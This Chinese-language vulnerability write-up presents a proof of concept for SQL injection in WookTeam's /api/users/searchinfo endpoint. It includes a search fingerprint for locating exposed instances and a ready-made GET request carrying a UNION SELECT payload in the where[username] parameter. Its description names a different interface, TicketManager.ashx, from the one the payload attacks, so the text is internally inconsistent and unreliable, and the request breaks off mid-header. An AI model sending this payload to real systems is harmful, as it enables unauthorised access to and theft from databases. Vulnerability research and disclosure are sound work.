【漏洞复现】WookTeam searchinfo SQL注入漏洞 POC

》》》漏洞描述《《《

WookTeam 是一支专注于打造高质量软件产品的软件开发团队。他们凭借深厚的技术背景和丰富的项目经验，擅长运用敏捷开发方法，强调团队合作与持续交付。WookTeam 注重用户体验，追求代码的质量和可维护性，并利用最新的技术栈和工具来提高开发效率。他们致力于为客户提供卓越的软件解决方案，助力企业实现数字化转型和业务创新。团队成员具备出色的沟通能力和责任心，能够迅速适应变化，不断学习和提升。然而，他们的接口TicketManager.ashx存在SQL注入漏洞，攻击者可以通过这个漏洞获取数据库中的敏感信息。

---

》》》资产收集《《《

title="Wookteam"

---

》》》漏洞复现《《《

构造数据包

 GET /api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cmd5%28123456%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) App